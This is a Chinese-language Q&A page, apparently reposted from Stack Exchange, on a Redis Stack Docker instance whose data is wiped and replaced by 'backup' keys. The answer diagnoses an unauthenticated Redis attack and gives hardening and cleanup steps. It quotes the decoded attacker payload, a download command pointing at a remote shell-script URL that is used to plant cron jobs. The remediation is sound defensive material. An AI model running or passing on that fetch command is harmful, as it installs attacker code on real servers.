You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Redis Stack Docker镜像数据自动删除,生成异常备份键问题求助

问题根源与解决方案

核心问题

你的Redis Stack实例遭遇了未授权访问攻击:攻击者通过无密码验证的Redis连接,主动清空所有数据,并创建了包含恶意bash脚本指令的backup*键。这些键的内容解码后是cd1 http://s.na-cs.com/b2f628/b.sh,用于植入定时任务执行恶意操作。

你之前尝试的禁用持久化、调大内存等操作无法解决问题——数据被删除是攻击者主动执行命令导致的,和Redis自身的持久化策略、内存限制无关。


紧急修复步骤

  1. 立即阻断攻击入口

    • 修改Docker启动命令,将Redis端口绑定到本地回环地址,禁止公网直接访问:
      docker run -d -p 127.0.0.1:6379:6379 redis/redis-stack-server
      
    • 给Redis设置强密码,启动时添加--requirepass参数:
      docker run -d -p 127.0.0.1:6379:6379 redis/redis-stack-server --requirepass YourStrongPassword123!
      
      同步更新Node.js代码的Redis连接配置(以ioredis为例):
      const Redis = require('ioredis');
      const redis = new Redis({
        host: 'localhost',
        port: 6379,
        password: 'YourStrongPassword123!'
      });
      
  2. 清除恶意残留

    • 进入Redis-cli删除恶意键:
      redis-cli DEL backup1 backup2 backup3 backup4
      
    • 检查服务器定时任务,删除攻击者添加的恶意条目:
      crontab -l # 查看当前定时任务
      crontab -e # 编辑并删除可疑的定时任务行
      
    • 排查/tmp、/var/tmp等目录,删除攻击者下载的恶意脚本文件。
  3. 加固Redis配置

    • 确保Redis保护模式开启(默认开启,若关闭需在配置中设置protected-mode yes)
    • 修改Redis默认端口(如改为6380),降低被批量扫描的概率
    • 避免以root用户运行Redis容器,创建专用用户减少攻击影响范围
  4. 恢复数据

    • 若有合法数据备份,在Redis安全配置完成后导入恢复;若无备份,需重新通过Node.js定时任务生成数据(确保Redis已加固后再执行)。

内容的提问来源于stack exchange,提问作者Pooja Seethur

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.20 13:52:55